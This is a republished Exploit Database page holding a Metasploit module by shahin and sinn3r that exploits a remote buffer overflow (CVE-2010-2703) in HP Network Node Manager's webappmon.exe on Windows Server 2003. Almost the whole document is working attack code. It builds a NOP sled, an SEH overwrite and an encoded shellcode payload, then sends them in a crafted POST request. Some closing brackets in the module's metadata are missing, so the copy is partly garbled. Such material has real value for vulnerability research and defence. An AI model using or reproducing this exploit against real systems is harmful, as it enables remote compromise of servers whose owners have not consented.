HP Network Node Manager (NMM) – CGI ‘webappmon.exe execvp’ Remote Buffer Overflow (Metasploit)

Exploit Database
98 阅读

作者： Metasploit

日期： 2011-03-23
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17030/

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# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

include Msf::Exploit::Remote::Seh

def initialize(info={})

super(update_info(info,

'Name'=> "HP NNM CGI webappmon.exe execvp Buffer Overflow",

'Description' => %q{

This module exploits a buffer overflow in HP NNM's webappmon.exe.

The vulnerability occurs when function "execvp_nc" fails to do any bounds-

checking before strcat is used to append user-supplied input to a buffer.

'License' => MSF_LICENSE,

'Version' => "$Revision: 12086 $",

'Author'=>

[

'shahin <shahin[at]abysssec.com>',

'sinn3r',

'References' =>

[

['CVE', '2010-2703'],

['OSVDB', '66514'],

'Payload' =>

{

'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",

'EncoderType' => Msf::Encoder::Type::AlphanumMixed,

'EncoderOptions' => {'BufferRegister'=>'ECX'},

'DefaultOptions' =>

{

'ExitFunction' => "seh",

'AutoRunScript' => 'migrate -f',

'Platform' => 'win',

'Targets' =>

[

[ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],

'DisclosureDate' => "SEP 6 2010"))

register_options(

[

Opt::RPORT(80),

], self.class)

end

def exploit

nops = make_nops(1000)*10

sploit = nops[0, 5455]

sploit << generate_seh_record(target.ret)

sploit << "\x61"*13

sploit << "\x51"

sploit << "\xc3"

sploit << nops[0, 57]

sploit << payload.encoded

sploit << nops[0, 10000-sploit.length]

post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"

connect

print_status("Sending malicious request...")

send_request_raw({

'uri' => '/OvCgi/webappmon.exe',

'data' => post_data,

'version' => '1.1',

'method' => 'POST',

'headers' => {

'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

'Accept-Language' => 'en-us,en;q=0.5',

'Accept-Encoding' => 'gzip,deflate',

'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',

'Keep-Alive' => '300',

'Connection' => 'Keep-Alive',

'Cache-Control' => 'max-age=0',

'Content-Length' => post_data.length,

'Content-Type' => 'application/x-www-form-urlencoded',

}

}, 3)

handler

disconnect

end